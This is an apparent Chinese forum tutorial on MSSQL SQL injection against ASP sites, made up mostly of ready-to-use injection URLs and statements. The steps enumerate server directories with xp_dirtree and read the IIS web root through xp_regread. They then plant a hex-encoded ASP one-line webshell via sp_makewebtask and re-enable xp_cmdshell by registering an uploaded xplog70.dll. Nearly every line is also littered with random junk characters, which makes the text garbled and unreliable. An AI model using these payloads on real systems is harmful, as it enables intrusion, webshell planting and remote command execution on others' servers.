好,我们exec master..xp_dirtree'd:/test'( {5 R6 Q! `% u- W% t+ o% Z$ @
假设我们在test里有两个文件夹test1和test2在test1里又有test35 o" T! ~5 w- }! K. ~* G
结果显示% T4 o! ~/ P: ], r" d
9 L0 C) U; g* R/ c: vsubdirectory depth
! R X% }: r r. Stest1 11 j# x- U3 B! _% h, B9 @
test3 2% r# `# A2 |- w, ^, O# i
test2 1; n9 K8 e; F* a
9 }) L6 }, W# l5 z- W哈哈发现没有那个depth就是目录的级数; A3 @6 g) H$ E0 u
ok了,知道怎么办了吧" Y5 N1 W$ E2 a" b9 V: Z
! o/ X- [) n" ^+ P/ chttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
, K# I0 g. O- ]% jhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
* Z! j' A$ m. w' q: Chttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
: w2 B1 C$ v3 D
, ]5 K9 j9 R7 ^+ S2 ^只要加上id=1,就是第一级目录 。! d2 B2 F. g9 k' l- \
5 T4 }( K( u3 h+ i- U* E" H
- f- E) v7 i! T$ z. t. E$ t# ~通过注册表读网站路径:+ M3 w1 n: q: J6 i
* V4 j3 {9 `# A' a1.;create table [dbo].[cyfd] ([gyfd][char](255));
/ v, f, y( I. [1 ?1 w5 l& }& {1 V+ ~# ?1 c# @' E9 W: y9 U5 D5 ~
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
$ N6 r) b1 n# N+ S0 b2 F- Nid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--' x% h2 V/ i' s
; u0 N7 b8 d# p5 n5 c3.and 1=(select count(*) from 临时表 where 临时字段名>1)5 K' T0 V) L6 ]" {& @
and 1=(select count(*) from cyfd where gyfd > 1)
& ]2 l: U# \4 `这样IE报错,就把刚才插进去的Web路径的值报出来了! q. m2 g9 p" F2 i6 }0 U
; r' I2 d, F) |) p" D K
4.drop table cyfd;-- 删除临时表* x$ e' J$ N5 K4 I
% ]( L/ J9 P0 T3 e8 U获得webshell方法:
- T0 ?; m+ S1 ?' h4 S( Z5 G1.create table cmd (a image)-- \**cmd是创建的临时表
% {1 @8 U' T5 S1 q
' x% v- u4 G8 ]% }, m0 ^2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话2 m% M' P' V. Y/ T
" ~/ D6 o! M' X8 C" V& B) _
! C# k+ U8 N1 y6 F
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
+ D6 x6 P8 g m* DEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表', ]2 K) P; J0 R8 `) }+ M7 H
7 q1 B- {) p1 s7 [
4.drop table cmd;-- 删除cmd临时表
0 D$ S: x, y/ _. X0 {1 Q+ }
& r- k; D( Y# K; w" `恢复xp_cmdshell方法之一:
( _ F1 R* t' s6 i+ u# q1 D我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
7 [6 B6 R3 C, {1 bhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll') G; v( J: J' B( ^
恢复,支持绝对路径的恢复哦。:)2 P A5 P& A8 e/ i3 [4 p; n# P. L
|